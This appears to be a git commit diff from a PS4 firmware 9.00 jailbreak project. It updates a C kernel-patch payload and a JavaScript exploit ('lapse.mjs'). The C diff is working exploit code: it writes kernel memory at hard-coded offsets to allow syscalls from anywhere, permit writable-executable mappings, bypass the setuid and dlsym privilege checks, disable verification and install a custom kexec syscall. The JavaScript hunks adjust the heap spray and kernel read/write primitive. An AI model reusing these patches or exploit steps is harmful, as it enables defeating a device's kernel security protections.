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Suggested by ABC + ChendoChap Kernel Patches

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This commit is contained in:
Kameleon
2025-05-17 08:00:57 -06:00
parent 1c87fef0f5
commit 116a576d71
4 changed files with 61 additions and 119 deletions
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kpatch/900.c
+48 -117
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@@ -35,7 +35,7 @@ void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
//restore(uap); Disable to backtrace
return 0;
}
@@ -53,124 +53,55 @@ void restore(struct kexec_args *uap) {
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
const size_t off_fast_syscall = 0x1C0;
void * const kbase = (void *)rdmsr(0xC0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632A, 0x37);
write8(kbase, 0x16632D, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b67f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x221b40
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221b40, 0xC3C03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1A06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
//ChendoChap Patches For 900
const size_t KERNEL_enable_syscalls_1 = 0x490;
const size_t KERNEL_enable_syscalls_2 = 0x4B5;
const size_t KERNEL_enable_syscalls_3 = 0x4B9;
const size_t KERNEL_enable_syscalls_4 = 0x4C2;
const size_t KERNEL_mprotect = 0x80B8D;
const size_t KERNEL_prx = 0x23AEC4;
const size_t KERNEL_mmap_1 = 0x16632A;
const size_t KERNEL_mmap_2 = 0x16632D;
const size_t KERNEL_dlsym_1 = 0x23B67F;
const size_t KERNEL_dlsym_2 = 0x221b40;
const size_t KERNEL_setuid = 0x1A06;
const size_t KERNEL_bzero = 0x2713FD;
const size_t KERNEL_pagezero = 0x271441;
const size_t KERNEL_memcpy = 0x2714BD;
const size_t KERNEL_pagecopy = 0x271501;
const size_t KERNEL_copyin = 0x2716AD;
const size_t KERNEL_copyinstr = 0x271B5D;
const size_t KERNEL_copystr = 0x271C2D;
const size_t KERNEL_veriPatch = 0x626874;
const size_t KERNEL_setcr0_patch = 0x3ade3B;
write32(kbase, KERNEL_enable_syscalls_1, 0);
write16(kbase, KERNEL_enable_syscalls_2, 0x9090);
write16(kbase, KERNEL_enable_syscalls_3, 0x9090);
write8(kbase, KERNEL_enable_syscalls_4, 0xEB);
write8(kbase, KERNEL_mmap_1, 0x37);
write8(kbase, KERNEL_mmap_2, 0x37);
write32(kbase, KERNEL_mprotect, 0);
write8(kbase, KERNEL_dlsym_1, 0xEB);
write32(kbase, KERNEL_dlsym_2, 0xC3C03148);
write8(kbase, KERNEL_setuid, 0xEB);
write16(kbase, KERNEL_prx, 0xE990);
write8(kbase, KERNEL_bzero, 0xEB);
write8(kbase, KERNEL_pagezero, 0xEB);
write8(kbase, KERNEL_memcpy, 0xEB);
write8(kbase, KERNEL_pagecopy, 0xEB);
write8(kbase, KERNEL_copyin, 0xEB);
write8(kbase, KERNEL_copyinstr, 0xEB);
write8(kbase, KERNEL_copystr, 0xEB);
write16(kbase, KERNEL_veriPatch, 0x9090);
write32(kbase, KERNEL_setcr0_patch, 0xC3C7220F);
const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write32(kbase, offset_sysent_11, 2);
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}
}
kpatch/900.elf
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kpatch/900.o
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lapse.mjs
+13 -2
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@@ -1472,14 +1472,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
log('corrupt pointers cleaned');
/*
// REMOVE once restore kernel is ready for production
// increase the ref counts to prevent deallocation
kmem.write32(main_sock, kmem.read32(main_sock) + 1);
kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
// +2 since we have to take into account the fget_write()'s reference
kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
*/
return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
}
@@ -1641,6 +1641,17 @@ function setup(block_fd) {
// allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
cancel_aios(groom_ids_p, num_grooms);
{
// chosen to maximize the number of 0x100 malloc allocs per submission
const num_reqs = 4;
const groom_ids = new View4(num_grooms);
const groom_ids_p = groom_ids.addr;
const greqs = make_reqs1(num_reqs);
// allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
cancel_aios(groom_ids_p, num_grooms);
}
return [block_id, groom_ids];
}